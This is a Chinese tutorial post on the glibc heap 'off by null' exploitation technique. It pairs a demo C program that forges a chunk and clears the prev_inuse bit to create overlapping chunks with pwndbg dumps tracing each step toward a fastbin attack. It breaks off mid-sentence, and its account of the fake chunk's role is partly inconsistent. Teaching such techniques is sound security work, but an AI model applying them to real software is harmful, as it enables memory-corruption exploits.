二进制安全之堆溢出(系列)—— off by null
本文是二进制安全之堆溢出系列的第七章节,主要介绍off by null。
原理
思路
通过修改chunk的prev_inuse位,达到一个堆块重叠的作用
流程
修改下一个堆块B的size的最后一字节为0,即prev_inuse置0,size随之减小,逻辑上分为0×100的B1+0×20的B2
在B2伪造一个chunk,其prev_inuse改为1,用以防止B和A发生前向合并,并在后面malloc fire时越过一些检查
free B ,将B1放入unsorted bins
将B1一分为二,如 q1 和 q2,(q2作为我们的堆块重叠目标块,用以fastbin attack)
free q1 和C,就会和前面的整个B的块大合并,q2 逻辑上也会随之进入unsorted bin
此时注意,q2 任然是我们可控的,现在malloc一个堆块fire将unsorted bin的内容全部取出
free q2,q2进入fastbin
通过堆块fire修改q2的fd,make fastbin attack
前提
分配的堆块要0xnn8的大小,需要包含下一个堆块的prev_size位
需要覆盖的块,大小一定要超过0×100,否则会被覆盖为0
off by null的攻击块一定是free之后的堆块,在free之前覆盖会造成段错误(一种可能)
Demo
#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
int main(){
char *p = malloc(0x18);
char *q = malloc(0x110-8);
char *r = malloc(0x110-8);
printf("p = %p\n",p);
printf("q = %p\n",q);
printf("r = %p\n",r);
sleep(0);
*(long*) (r-0x20) = 0x100; //fake->prev_size
*(long*) (r-0x18) = 0x101; //fake->size
sleep(0);
free(q);
sleep(0);
strcpy(p,"aaaaaaaajunkjunkbbbbbbbb"); // size->inuse=0 size=0x100
sleep(0);
char *q1 = malloc(0x80); //B1
char *q2 = malloc(0x60); //B2
printf("q1 = %p\n",q1);
printf("q2 = %p\n",q2);
sleep(0);
free(q1);
free(r);
sleep(0);
char *q12 = malloc(0x100 + 0x100 + 0x10);
printf("q2 = %p\n",q2);
printf("q12 = %p\n",q12);
sleep(0);
return 0;
}
调试
初始堆块
0x602000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0, //p = 0x602010
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x111
}
0x602020 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0, //q = 0x602030
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602130 PREV_INUSE {
prev_size = 0,
size = 273, //此时inuse=1
fd = 0x0, //r = 0x602140
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000111 //此时q的size
0x602130:0x00000000000000000x0000000000000111 # 此时r的prev_inuse为1
改变 q 的size
pwndbg> x/20gz 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x6161616161616161 0x6b6e756a6b6e756a
0x602020: 0x6262626262626262 0x0000000000000100 //成功改小B的size位
0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
伪造B2堆块
0x602120: 0x0000000000000100 0x0000000000000101 //成功伪造fake堆块,对应改小的size
0x602130: 0x0000000000000110 0x0000000000000111 //在后面free q之后,inuse变为0
0x602140: 0x0000000000000000 0x0000000000000000
此时的bins
unsortedbin
all: 0x602020 —? 0x7ffff7dd1b78 (main_arena+88) ?— 0x602020 /* ' `' */ // q
smallbins
free q
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000100 0x0000000000000101
0x602130: 0x0000000000000110 0x0000000000000110 //free q之后,inuse变为0
将 q 一分为二
0x602020 PREV_INUSE {
prev_size = 7089336938131513954,
size = 145,
fd = 0x7ffff7dd1c68 <main_arena+328>,
bk = 0x7ffff7dd1c68 <main_arena+328>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020b0 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602020:0x62626262626262620x0000000000000091//q1
0x602030:0x00007ffff7dd1c680x00007ffff7dd1c68
0x602040:0x00000000000000000x0000000000000000
0x602050:0x00000000000000000x0000000000000000
0x602060:0x00000000000000000x0000000000000000
0x602070:0x00000000000000000x0000000000000000
0x602080:0x00000000000000000x0000000000000000
0x602090:0x00000000000000000x0000000000000000
0x6020a0:0x00000000000000000x0000000000000000
0x6020b0:0x00000000000000000x0000000000000071 //q2
0x6020c0:0x00007ffff7dd1b780x00007ffff7dd1b78
0x6020d0:0x00000000000000000x0000000000000000
0x6020e0:0x00000000000000000x0000000000000000
0x6020f0:0x00000000000000000x0000000000000000
0x602100:0x00000000000000000x0000000000000000
0x602110:0x00000000000000000x0000000000000000
0x602120:0x00000000000000700x0000000000000101//fake
0x602130:0x00000000000001100x0000000000000110//r
unsorted bin 此时已经清空
free q r 引发大合并
0x602020 PREV_INUSE {
prev_size = 7089336938131513954,
size = 545, ==>q和r已经合并
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602020:0x62626262626262620x0000000000000221-->q,r合并
0x602030:0x00007ffff7dd1b780x00007ffff7dd1b78
0x602040:0x00000000000000000x0000000000000000
0x602050:0x00000000000000000x0000000000000000
0x602060:0x00000000000000000x0000000000000000
0x602070:0x00000000000000000x0000000000000000
0x602080:0x00000000000000000x0000000000000000
0x602090:0x00000000000000000x0000000000000000
0x6020a0:0x00000000000000000x0000000000000000
0x6020b0:0x00000000000000900x0000000000000070-->此时q2的pre_inuse为0
0x6020c0:0x00007ffff7dd1b780x00007ffff7dd1b78
0x6020d0:0x00000000000000000x0000000000000000
0x6020e0:0x00000000000000000x0000000000000000
0x6020f0:0x00000000000000000x0000000000000000
0x602100:0x00000000000000000x0000000000000000
0x602110:0x00000000000000000x0000000000000000
0x602120:0x00000000000000700x0000000000000101
0x602130:0x00000000000001100x0000000000000110
此时的bins
unsortedbin
all: 0x602020 —? 0x7ffff7dd1b78 (main_arena+88) ?— 0x602020 /* ' `' */
smallbins
malloc q12
malloc q12
此时将合并的q和r的内存全部malloc出去
q2 = 0x6020c0//此时q2包含在q12之中,却能够被修改
q12 = 0x602030
之后再将q2释放到fastbin,构造fastbin attack
总结
fake堆块的作用:
fake堆块的prev_inuse被我们修改为1,因此在free q的时候会和p做前向合并
free q 之后再修改size,这时r记录的prev_size为整个q堆块,free q1 和 r时就会大合并
大合并的内容为unsorted bin里面的q1和r,但是q2和fake也进入了合并的范畴,但是此时依然可以使用q2和fake
malloc q12可以将整个大合并的内存全部取出,这时 free q2 ,进入fastbin,我们仍然可以通过q12 修改q2的
